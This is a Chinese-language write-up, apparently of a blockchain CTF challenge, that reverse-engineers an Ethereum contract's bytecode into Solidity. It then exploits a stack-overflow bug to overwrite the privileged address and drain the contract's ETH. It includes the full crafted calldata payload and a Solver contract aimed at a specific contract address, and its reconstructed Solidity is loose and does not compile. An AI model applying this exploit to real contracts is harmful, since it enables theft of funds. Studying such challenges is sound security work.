0x20b: MLOAD     				0x7909947a framePointer 0x1+M[M[100]] M[100]
0x20c: MSTORE    				0x7909947a framePointer
0x20d: PUSH2     0x1e0			0x7909947a framePointer 0x1e0
0x210: JUMP      				0x7909947a framePointer
0x211: JUMPDEST    				0x7909947a framePointer
0x212: PUSH2     0x219			0x7909947a framePointer 0x219
0x215: PUSH2     0x9b			00x7909947a framePointer 0x219 0x9b
0x218: JUMP      				0x7909947a framePointer 0x219
0x219: JUMPDEST  				0x7909947a framePointer returnValue
0x21a: POP       				0x7909947a framePointer
0x21b: PUSH2     0x222			0x7909947a framePointer 0x222
0x21e: PUSH2     0x9b			0x7909947a framePointer 0x222 0x9b
0x221: JUMP      				0x7909947a framePointer 0x222
0x222: JUMPDEST  				0x7909947a framePointer returnValue2
0x223: POP       				0x7909947a framePointer
0x224: PUSH2     0x22b			0x7909947a framePointer 0x22b
0x227: PUSH2     0x9b			0x7909947a framePointer 0x22b 0x9b
0x22a: JUMP      				0x7909947a framePointer 0x22b
0x22b: JUMPDEST  				0x7909947a framePointer returnValue3
0x22c: POP       				0x7909947a framePointer
0x22d: PUSH2     0x234			0x7909947a framePointer 0x234
0x230: PUSH2     0x9b			0x7909947a framePointer 0x234 0x9b
0x233: JUMP      				0x7909947a framePointer 0x234
0x234: JUMPDEST  				0x7909947a framePointer returnValue3
0x235: POP       				0x7909947a framePointer
0x236: PUSH2     0xc3			0x7909947a framePointer 0xc3
0x239: JUMP      				0x7909947a framePointer

=> 翻译一下
function 0x7909947a_impl() public {
	push_stack(0x0);
	copy_data();
	uint temp = get_stack(0) + get_stack(2);
	assembly{
		mstore(temp, 0x00)
	}
	pad_data();
	pop_stack();
	pop_stack();
	pop_stack();
	pop_stack();
	pop_stack_frame();
}
function pad_data() private {
	while (get_stack(0) % 0x40 != 0) {
		uint temp0 = get_stack(0);
		uint temp2 = get_stack(2);
		assembly {
            mstore(temp0+temp2, 0x00)
            mstore(mload(0x100), add(temp0, 0x01))
		}
	}
}
function copy_data() private {
	while (get_stack(0) - get_stack(1) != 0) {
		uint temp0 = get_stack(0);
		uint temp2 = get_stack(2);
		uint temp3 = get_stack(3);
		assembly {
            let temp_val := div(mload(temp0+temp3), 0x100000000000000000000000000000000000000000000000000000000000000)
            let temp_key := add(temp0, temp2)
            mstore8(temp_key, temp_val)
            mstore(mload(0x100), add(temp0, 0x01))
		}
	}
}
function get_stack(uint i) private returns (uint256 value){
	//helper M[M[0x100+0x20*i]]
	assembly {
		let temp := mload(0x100)
		let temp2 := sub(temp, mul(0x20, i))
		value := mload(temp2)
	}
}

:cry:要理解这个函数再干嘛,就需要先理解其中的 copy_data 和 pad_data 在干什么。以及调用这个函数前的堆栈的结构是怎样的。

0x00

0x200

get_stack(0)

size-0x44

0x1e0

get_stack(1)

0x0120

0x1c0

get_stack(2)

0x90000

0x1a0

get_stack(3)

return pointer

0x180

get_stack(4)

stack frme 0x7909947a()

0x160

get_stack(5)

0x00

0x140

get_stack(6)

0x00

0x120

get_stack(7)

copydata 的作用是,逐个字节的从内存位置 90000 处拷贝数据到栈底处,因为栈底保留了 0x40 个字节的空位给它。

paddata 的作用是,给 copyadata 后,0x120 后拷贝的部份数据尾巴长度不足 0x40 的部分给他填 0。比如如果是数据尾巴在 0x36,则再补充 4 个字节的 0 补齐到 0x40, 如果是 0x76,则也是补齐 4 个字节的 0 到 0x80.

则该函数的主要作用是把数据拷贝到栈底处,并规范格式。然后退出。

:crossed_fingers:solidity 代码整理

由于基本上所有函数都逆向出来了,现在我们可以整理下整个合约,看下整体的合约逻辑

代码语言:javascript
复制
pragma solidity ^0.5.0;

contract ROP {
 address _get;
 address _die;

    constructor(address get_, address die_) public payable {
        _get = get_;
        _die = die_;
    }

 function die() public payable {
        require(msg.sender == _die);
        selfdestruct(_die);
    }
    function get() public {
        require(msg.sender != _get);
        return _get;
    }
    function() public payable {
        revert();
    }
    modifier nonPayable() {
        require(msg.value == 0);
        _;
    }
    function push_stack_frame() private {
        uint256 value;
        assembly{
            value := mload(0x100)
        }
        push_stack(value)
    }
    function push_stack(uint256 value) private {
        uint temp;
        assembly{
            temp := mload(0x100)
            mstore(add(temp, 0x20), value)
            mstore(0x100, add(temp, 0x20))
        }
    }
    function set_impl() private{
        uint temp0;
        uint temp1
        assembly{
            temp0 := mload(0x100) //M[100]
            temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]
            sstore(mload(temp0), temp1)
        }
        pop_stack();
        pop_stack();
        pop_stack_frame();
    }
    function pop_stack_frame() private {
        int redirectTo;
        int pointer;
        redirectTo = pop_stack();
        pointer = pop_stack();
        newStackPointer(pointer);
        // assembly {
        //     jump(redirectTo)
        // }
        return;
    }
    function stack_pointer_init() private {
        assembly{
            mstore(0x100, 0x100)
        }
    }

    function pad_data() private {
        while (get_stack(0) % 0x40 != 0) {
            uint temp0 = get_stack(0);
            uint temp2 = get_stack(2);
            assembly {
                mstore(temp0+temp2, 0x00)
                mstore(mload(0x100), add(temp0, 0x01))
            }
        }
    }
    function copy_data() private {
        while (get_stack(0) - get_stack(1) != 0) {
            uint temp0 = get_stack(0);
            uint temp2 = get_stack(2);
            uint temp3 = get_stack(3);
            assembly {
                let temp_val := div(mload(temp0+temp3), 0x100000000000000000000000000000000000000000000000000000000000000)
                let temp_key := add(temp0, temp2)
                mstore8(temp_key, temp_val)
                mstore(mload(0x100), add(temp0, 0x01))
            }
        }
    }
    function get_stack(uint i) private returns (uint256 value){
        //helper M[M[0x100+0x20*i]]
        assembly {
            let temp := mload(0x100)
            let temp2 := sub(temp, mul(0x20, i))
            value := mload(temp2)
        }
    }
    function 0x7909947a_impl() private {
        push_stack(0x0);
        copy_data();
        uint temp = get_stack(0) + get_stack(2);
        assembly{
            mstore(temp, 0x00)
        }
        pad_data();
        pop_stack();
        pop_stack();
        pop_stack();
        pop_stack();
        pop_stack_frame();
    }
    function set(uint256 value) public nonPayable{
        push_stack_frame();
        uint redirectTo = 0x344;
        push_stack(redirectTo);
        uint256 newStackPointer;
        assembly{
            newStackPointer := calldataload(0x04)
        }
        push_stack(newStackPointer);
        push_stack(0x00);
        set_impl();
    }
    function 0x7909947a() public {
        stack_pointer_init();
        push_stack(0x0);
        uint topPointer;
        assembly{
            topPointer := mload(0x100)
        }
        push_stack(0x0);
        uint size;
        assembly {
            size := calldatasize()
            calldatacopy(0x90000, 0x44, size)
        }
        push_stack_frame();
        uint return_pointer = 0x29b;
        push_stack(return_pointer);
        push_stack(0x90000);
        push_stack(topPointer);
        push_stack(size-0x44);
        0x7909947a_impl();
    }
}
代码语言:javascript
复制

:necktie: 问题分析

合约逆向出来了,但是我们的问题还是存在,如何从合约中拿到它所有的 ETH 呢?

思路很直接,肯定是利用 die 函数,但是 die 函数要求msg.sender == die_, 因此需要重写全局变量die_的值。又发现唯一一个能写全局变量的值的函数是set_impl().分析set_impl()函数,其实质是将get_stack(1)的值写入get_stack(0)处。故我们需要构造一个 stack,使得get_stack(0)==0x20 & get_stack(1) == tx.origin 以及为了使用pop_stack_frame()函数,需要保证一个返回位点位于get_stack(3)==return gadget

同时我们再之前的逆向过程中,也发现我们能够利用的唯有0x7909967a函数,传入 data,然后再内部调用0x7909947a_impl()函数来利用栈溢出这一 bug 来重写栈。从而重新定义执行逻辑。由于再0x7909947a_impl()函数中,拷贝数据的逻辑由copydata确定。故我们需要根据copydata的逻辑来构造我们的 data 数据。

0x260

0x20

0x240

address(msg.sender)

0x220

return point (0x344)

0x00

0x200

0xff (当前拷贝的值的位置,offset)

size-0x44

0x1e0

0x0140

0x0120

0x1c0

0x0120

0x90000

0x1a0

0x090000

return pointer

0x180

0x2ea

stack frame 0x7909947a()

0x160

0x90140

0x00

0x140

0x00000000..

0x00

0x120

0x00000000..

构造这个 stack 时,需要仔细理解 copydata 的逻辑,它是逐个字节的从内存位置 90000 处拷贝数据到栈底处,因为栈底保留了 0x40 个字节的空位给它。由于最开始开始拷贝的时候,get_stack(0) = 0x00, 故他会从我们构造好的栈底开始拷贝数据到 0x120 中,一直拷贝,知道 get_stack(0)处,由于这个位置的数据代表的就是当前拷贝的数据数量,故拷贝值到这个位置时,需要与正确的拷贝数据值相吻合,故计算得出此时已有 8 个字节的数据拷贝进入,故此处应该是 0xff.

第二个关键点是:我构造了栈,但是怎么保证栈顶的指针指向正确呢?也是再 copydata 中定义了,mstore(mload(0x100), add(temp0, 0x01))这句话就在不断地更新栈顶的指针,从而使得我们构造的栈也是可以正确使用的。

代码语言:javascript
复制
function copy_data() private {
    while (get_stack(0) - get_stack(1) != 0) {
        uint temp0 = get_stack(0);
        uint temp2 = get_stack(2);
        uint temp3 = get_stack(3);
        assembly {
            let temp_val := div(mload(temp0+temp3), 0x0100000000000000000000000000000000000000000000000000000000000000)
            let temp_key := add(temp0, temp2)
            mstore8(temp_key, temp_val)
            mstore(mload(0x100), add(temp0, 0x01))
        }
    }
}

所以构造的数据为:此时还需要加上前面被略去的 0x44 个字节

代码语言:javascript
复制
7909947a
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000 => 0x120
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000090140
00000000000000000000000000000000000000000000000000000000000002ea
0000000000000000000000000000000000000000000000000000000000090000
0000000000000000000000000000000000000000000000000000000000000120
0000000000000000000000000000000000000000000000000000000000000140
00000000000000000000000000000000000000000000000000000000000000ff
0000000000000000000000000000000000000000000000000000000000000344
0000000000000000000000003331B3Ef4F70Ed428b7978B41DAB353Ca610D938
0000000000000000000000000000000000000000000000000000000000000020 => 0x260

:haircut_man: 验证数据

好的,我们再验证一下这个数据是否能够按照我们设想的那样工作:

代码语言:javascript
复制
function 0x7909947a_impl() private {
    push_stack(0x0);
    copy_data();
    uint temp = get_stack(0) + get_stack(2);
    assembly{
        mstore(temp, 0x00)
    }
    pad_data();
    pop_stack();
    pop_stack();
    pop_stack();
    pop_stack();
    pop_stack_frame();
}

经过 copydata, 之后跳过 pad_data 部分,弹出 4 个,进入到pop_stack_frame()中,此时的栈结构为:

size-0x44

0x1e0

0x0140

0x0120

0x1c0

0x0120

0x90000

0x1a0

0x090000

return pointer

0x180

0x2ea

stack frame 0x7909947a()

0x160

0x90140

0x00

0x140

0x00000000..

0x00

0x120

0x00000000..

然后再经过pop_stack_frame()后,栈的结构变为:

代码语言:javascript
复制
function pop_stack_frame() private {
        int redirectTo;
        int pointer;
        redirectTo = pop_stack();
        pointer = pop_stack();
        newStackPointer(pointer);
        assembly {
            jump(redirectTo)
        }
        //return;
    }

get_stack(0)

90140

0x20

get_stack(1)

90120

address(msg.sender)

get_stack(2)

90100

return point (0x344)

同时函数跳转到 0x2ea 位置处,即set_impl()处,此刻即构造成功了我们需要的栈。

代码语言:javascript
复制
function set_impl() private{
    uint temp0;
    uint temp1
    assembly{
        temp0 := mload(0x100) //M[100]
        temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]
        sstore(mload(temp0), temp1)
    }
    pop_stack();
    pop_stack();
    pop_stack_frame();
}

:haircut_woman: 解决方案:

由此,我们最后的解决方案如下:

代码语言:javascript
复制
//data = 0x7909947a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009014000000000000000000000000000000000000000000000000000000000000002ea00000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000000ff00000000000000000000000000000000000000000000000000000000000003440000000000000000000000003331B3Ef4F70Ed428b7978B41DAB353Ca610D9380000000000000000000000000000000000000000000000000000000000000020
pragma solidity ^0.5.0;

contract Target {
    function get()public returns (address) ;
    function set(uint a) public;
    function die() public;
}

contract Solver {
    constructor(bytes memory data) public payable {
        (bool result, ) = address(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).call(data);
        require(result);
        Target(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).die();
        require(address(this).balance > 0);
        selfdestruct(msg.sender);
    }
}

我正在找区块链相关的工作,欢迎联系(微信号:woodward1993)

参考资料

[1]

以太坊沙盒: https://learnblockchain.cn/article/2625

[2]

上篇文章: https://learnblockchain.cn/article/2625

[3]

0xefa51bc7aafe33e6f0e4e44d19eab7595f4cca87: https://ethstats.io/account/0xefa51bc7aafe33e6f0e4e44d19eab7595f4cca87

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-06-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 深入浅出区块链技术 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 分析原文:
  • 问题描述:
  • OPCODE 代码复原:
    • 首先看函数:die()
      • 再看函数:get()
        • 在分析函数:set(uint256 varg0)
          • :fish: 首先看 0xe8
          • :fish:我们再看 0xb4
          • :fish:接下来的是 0x8c
          • :fish:接下来是 0x2ea
          • :fish:先看 0x9b 函数,
          • :fish:再看 0xc3 函数,
          • :fish:我们看 0xae 函数,
        • :honey_pot: 分析蜜汁函数 0x7909947a()
          • :tropical_fish: 首先是0xde
          • :tropical_fish: 再是 0x15d
      • :crossed_fingers:solidity 代码整理
      • :necktie: 问题分析
      • :haircut_man: 验证数据
      • :haircut_woman: 解决方案:
        • 参考资料
        相关产品与服务
        机器翻译
        机器翻译(Tencent Machine Translation,TMT)结合了神经机器翻译和统计机器翻译的优点,从大规模双语语料库自动学习翻译知识,实现从源语言文本到目标语言文本的自动翻译,目前可支持十余种语言的互译。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档